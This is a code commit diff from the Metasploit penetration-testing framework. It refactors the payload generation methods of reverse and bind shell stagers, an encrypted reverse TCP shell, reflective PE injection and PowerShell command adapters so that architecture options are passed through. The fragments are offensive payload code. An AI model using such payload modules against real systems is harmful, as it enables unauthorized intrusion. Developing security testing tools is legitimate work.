Land #16597, psh cmd adapter fix for encrypt shell

This commit is contained in:
space-r7 2022-06-21 09:47:05 -05:00
commit 7983f878a8
No known key found for this signature in database
GPG Key ID: DE80BD86F1B96C84
34 changed files with 83 additions and 58 deletions

View File

@ -59,10 +59,10 @@ class Payload < Msf::Module
#
self.module_info['Dependencies'] = self.module_info['Dependencies'] || []
# If this is a staged payload but there is no stage information,
# If this is an adapted or staged payload but there is no stage information,
# then this is actually a stager + single combination. Set up the
# information hash accordingly.
if self.class.include?(Msf::Payload::Single) and
if (self.class.include?(Msf::Payload::Adapter) || self.class.include?(Msf::Payload::Single)) and
self.class.include?(Msf::Payload::Stager)
self.module_info['Stage'] = {}
@ -288,7 +288,7 @@ class Payload < Msf::Module
#
# Generates the payload and returns the raw buffer to the caller.
#
def generate
def generate(_opts = {})
internal_generate
end

View File

@ -43,7 +43,7 @@ module Payload::Generic
# the actual payload in case settings have changed. Other methods will
# use the cached version if possible.
#
def generate
def generate(_opts = {})
reset
redirect_to_actual(:generate)

View File

@ -19,7 +19,7 @@ module Payload::Linux::BindTcp
#
# Generate the first stage
#
def generate
def generate(_opts = {})
conf = {
port: datastore['LPORT'],
reliable: false

View File

@ -18,7 +18,7 @@ module Payload::Linux::ReverseTcp_x86
#
# Generate the first stage
#
def generate
def generate(_opts = {})
conf = {
port: datastore['LPORT'],
host: datastore['LHOST'],

View File

@ -17,7 +17,7 @@ module Payload::Linux::ReverseTcp_x64
#
# Generate the first stage
#
def generate
def generate(_opts = {})
conf = {
port: datastore['LPORT'],
host: datastore['LHOST'],

View File

@ -17,7 +17,7 @@ module Payload::Php::BindTcp
#
# Generate the first stage
#
def generate
def generate(_opts = {})
conf = {
port: datastore['LPORT']
}

View File

@ -17,7 +17,7 @@ module Payload::Php::ReverseTcp
#
# Generate the first stage
#
def generate
def generate(_opts = {})
conf = {
port: datastore['LPORT'],
host: datastore['LHOST'],

View File

@ -16,7 +16,7 @@ module Payload::Python::BindTcp
#
# Generate the first stage
#
def generate
def generate(_opts = {})
conf = {
port: datastore['LPORT']
}

View File

@ -21,7 +21,7 @@ module Payload::Python::ReverseTcp
#
# Generate the first stage
#
def generate
def generate(_opts = {})
conf = {
port: datastore['LPORT'],
host: datastore['LHOST'],

View File

@ -20,7 +20,7 @@ module Payload::Python::ReverseTcpSsl
#
# Generate the first stage
#
def generate
def generate(_opts = {})
conf = {
port: datastore['LPORT'],
host: datastore['LHOST'],

View File

@ -23,7 +23,7 @@ module Msf::Payload::Single
# return the stager. When a stager is not used, generate will return the
# single payload
#
def generate
def generate(_opts = {})
# If we're staged, then we call the super to generate the STAGER
if staged?
super

View File

@ -30,7 +30,7 @@ module Payload::Windows::BindNamedPipe
#
# Generate the first stage
#
def generate
def generate(_opts = {})
conf = {
name: datastore['PIPENAME'],
host: datastore['PIPEHOST'],

View File

@ -21,7 +21,7 @@ module Payload::Windows::BindTcp
#
# Generate the first stage
#
def generate
def generate(_opts = {})
conf = {
port: datastore['LPORT'],
reliable: false

View File

@ -17,7 +17,7 @@ module Payload::Windows::BindTcpRc4
#
# Generate the first stage
#
def generate
def generate(_opts = {})
xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD'])
conf = {
port: datastore['LPORT'],

View File

@ -61,9 +61,9 @@ module Payload::Windows::EncryptedReverseTcp
src = ''
if staged?
src = generate_stager(conf)
src = generate_stager(conf, opts)
else
src = generate_c_src(conf)
src = generate_c_src(conf, opts)
end
link_script = module_info['DefaultOptions']['LinkerScript']
@ -76,7 +76,7 @@ module Payload::Windows::EncryptedReverseTcp
keep_exe: datastore['KeepExe'],
show_compile_cmd: datastore['ShowCompileCMD'],
f_name: Tempfile.new(staged? ? 'reverse_pic_stager' : 'reverse_pic_stageless').path,
arch: self.arch_to_s
arch: opts.fetch(:arch, self.arch_to_s)
}
comp_code = get_compiled_shellcode(src, compile_opts)
@ -92,9 +92,9 @@ module Payload::Windows::EncryptedReverseTcp
comp_code
end
def initial_code
def initial_code(conf, opts = {})
src = headers
src << align_rsp if self.arch_to_s.eql?('x64')
src << align_rsp if opts.fetch(:arch, self.arch_to_s).eql?('x64')
if staged?
src << chacha_func_staged
@ -104,8 +104,8 @@ module Payload::Windows::EncryptedReverseTcp
src << exit_proc
end
def generate_stager(conf)
src = initial_code
def generate_stager(conf, opts = {})
src = initial_code(conf, opts)
if conf[:call_wsastartup]
src << init_winsock
@ -115,7 +115,7 @@ module Payload::Windows::EncryptedReverseTcp
src << get_load_library(conf[:host], conf[:port])
src << call_init_winsock if conf[:call_wsastartup]
src << start_comm(conf[:uuid])
src << stager_comm
src << stager_comm(conf, opts)
end
def sends_hex_uuid?
@ -148,21 +148,21 @@ module Payload::Windows::EncryptedReverseTcp
keep_exe: datastore['KeepExe'],
show_compile_cmd: datastore['ShowCompileCMD'],
f_name: Tempfile.new('reverse_pic_stage').path,
arch: self.arch_to_s
arch: opts.fetch(:arch, self.arch_to_s)
}
src = initial_code
src = initial_code(conf, opts)
src << get_new_key
src << init_proc
src << exec_payload_stage
src << exec_payload_stage(conf, opts)
shellcode = get_compiled_shellcode(src, comp_opts)
stage_obj = Rex::Crypto::Chacha20.new(key, iv)
stage_obj.chacha20_crypt(shellcode)
end
def generate_c_src(conf)
src = initial_code
def generate_c_src(conf, opts = {})
src = initial_code(conf, opts)
if conf[:call_wsastartup]
src << init_winsock
@ -552,9 +552,10 @@ module Payload::Windows::EncryptedReverseTcp
^
end
def stager_comm
reg = self.arch_to_s.eql?('x86') ? 'edi' : 'rdi'
inst = self.arch_to_s.eql?('x86') ? 'movl' : 'movq'
def stager_comm(conf, opts = {})
arch = opts.fetch(:arch, self.arch_to_s)
reg = arch.eql?('x86') ? 'edi' : 'rdi'
inst = arch.eql?('x86') ? 'movl' : 'movq'
%Q^
FuncRecv RecvData = (FuncRecv) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'recv')}); // hash('ws2_32.dll', 'recv') -> 0x5fc8d902
@ -596,9 +597,10 @@ module Payload::Windows::EncryptedReverseTcp
^
end
def exec_payload_stage
reg = self.arch_to_s.eql?('x86') ? 'edi' : 'rdi'
inst = self.arch_to_s.eql?('x86') ? 'movl' : 'movq'
def exec_payload_stage(conf, opts = {})
arch = opts.fetch(:arch, self.arch_to_s)
reg = arch.eql?('x86') ? 'edi' : 'rdi'
inst = arch.eql?('x86') ? 'movl' : 'movq'
%Q^
void ExecutePayload()

View File

@ -57,7 +57,7 @@ module Payload::Windows::Exec
#
# Constructs the payload
#
def generate
def generate(_opts = {})
return super + command_string + "\x00"
end

View File

@ -53,7 +53,7 @@ module Payload::Windows::Exec_x64
], self.class )
end
def generate
def generate(_opts = {})
return super + command_string + "\x00"
end

View File

@ -57,7 +57,7 @@ module Payload::Windows::LoadLibrary
#
# Constructs the payload
#
def generate
def generate(_opts = {})
return super + dll_string + "\x00"
end

View File

@ -67,8 +67,9 @@ module Msf
module Payload::Windows::PEInject
def initialize(info = {})
super
register_options([
OptInjectablePE.new('PE', [ true, 'The local path to the PE file to upload' ], arch: arch.first)
OptInjectablePE.new('PE', [ true, 'The local path to the PE file to upload' ], arch: info.fetch('AdaptedArch', arch.first))
], self.class)
end
@ -83,7 +84,7 @@ module Msf
# Transmits the reflective PE payload to the remote
# computer so that it can be loaded into memory.
#
def handle_connection(conn, _opts = {})
def handle_connection(conn, opts = {})
data = ''
begin
File.open(pe_path, 'rb') do |f|
@ -96,7 +97,7 @@ module Msf
end
print_status('Premapping PE file...')
pe_map = create_pe_memory_map(data)
pe_map = create_pe_memory_map(data, opts)
print_status("Mapped PE size #{pe_map[:bytes].length}")
opts = {}
opts[:is_dll] = pe_map[:is_dll]
@ -113,10 +114,10 @@ module Msf
conn.close
end
def create_pe_memory_map(file)
def create_pe_memory_map(file, opts = {})
pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(file))
begin
OptInjectablePE.assert_compatible(pe, arch.first)
OptInjectablePE.assert_compatible(pe, opts.fetch(:arch, arch.first))
rescue Msf::ValidationError => e
print_error("PE validation error: #{e.message}")
raise

View File

@ -26,7 +26,7 @@ module Payload::Windows::ReverseNamedPipe
#
# Generate the first stage
#
def generate
def generate(_opts = {})
conf = {
name: datastore['PIPENAME'],
host: datastore['PIPEHOST'] || '.',

View File

@ -25,7 +25,7 @@ module Payload::Windows::ReverseTcpDns
#
# Generate the first stage
#
def generate
def generate(_opts = {})
conf = {
port: datastore['LPORT'],
host: datastore['LHOST'],

View File

@ -17,7 +17,7 @@ module Payload::Windows::ReverseTcpRc4
#
# Generate the first stage
#
def generate
def generate(_opts = {})
xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD'])
conf = {
port: datastore['LPORT'],

View File

@ -17,7 +17,7 @@ module Payload::Windows::ReverseTcpRc4Dns
#
# Generate the first stage
#
def generate
def generate(_opts = {})
xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD'])
conf = {
port: datastore['LPORT'],

View File

@ -16,7 +16,7 @@ module Payload::Windows::ReverseUdp
#
# Generate the first stage
#
def generate
def generate(_opts = {})
conf = {
port: datastore['LPORT'],
host: datastore['LHOST'],

View File

@ -29,7 +29,7 @@ module Payload::Windows::ReverseWinHttps
#
# Generate the first stage
#
def generate
def generate(_opts = {})
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
datastore['HandlerSSLCert'])

View File

@ -30,7 +30,7 @@ module Payload::Windows::BindNamedPipe_x64
#
# Generate the first stage
#
def generate
def generate(_opts = {})
conf = {
name: datastore['PIPENAME'],
host: datastore['PIPEHOST'],

View File

@ -16,7 +16,7 @@ module Payload::Windows::BindTcpRc4_x64
#
# Generate the first stage
#
def generate
def generate(_opts = {})
xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD'])
conf = {
port: datastore['LPORT'],

View File

@ -19,7 +19,7 @@ module Payload::Windows::BindTcp_x64
#
# Generate the first stage
#
def generate
def generate(_opts = {})
conf = {
port: datastore['LPORT'],
reliable: false

View File

@ -25,7 +25,7 @@ module Payload::Windows::ReverseNamedPipe_x64
#
# Generate the first stage
#
def generate
def generate(_opts = {})
conf = {
name: datastore['PIPENAME'],
host: datastore['PIPEHOST'],

View File

@ -16,7 +16,7 @@ module Payload::Windows::ReverseTcpRc4_x64
#
# Generate the first stage
#
def generate
def generate(_opts = {})
xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD'])
conf = {
port: datastore['LPORT'],

View File

@ -26,7 +26,7 @@ module Payload::Windows::ReverseTcp_x64
#
# Generate the first stage
#
def generate
def generate(_opts = {})
conf = {
port: datastore['LPORT'],
host: datastore['LHOST'],

View File

@ -28,7 +28,7 @@ module Payload::Windows::ReverseWinHttps_x64
#
# Generate the first stage
#
def generate
def generate(_opts = {})
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
datastore['HandlerSSLCert'])

View File

@ -34,15 +34,26 @@ module MetasploitModule
super
end
def generate
def generate(opts = {})
opts[:arch] ||= module_info['AdaptedArch']
payload = super
cmd_psh_payload(payload, ARCH_X86, remove_comspec: true)
end
def generate_stage(opts = {})
opts[:arch] ||= module_info['AdaptedArch']
super
end
def generate_payload_uuid(conf = {})
conf[:arch] ||= module_info['AdaptedArch']
conf[:platform] ||= module_info['AdaptedPlatform']
super
end
def handle_connection(conn, opts = {})
opts[:arch] ||= module_info['AdaptedArch']
super
end
end

View File

@ -34,15 +34,26 @@ module MetasploitModule
super
end
def generate
def generate(opts = {})
opts[:arch] ||= module_info['AdaptedArch']
payload = super
cmd_psh_payload(payload, ARCH_X64, remove_comspec: true)
end
def generate_stage(opts = {})
opts[:arch] ||= module_info['AdaptedArch']
super
end
def generate_payload_uuid(conf = {})
conf[:arch] ||= module_info['AdaptedArch']
conf[:platform] ||= module_info['AdaptedPlatform']
super
end
def handle_connection(conn, opts = {})
opts[:arch] ||= module_info['AdaptedArch']
super
end
end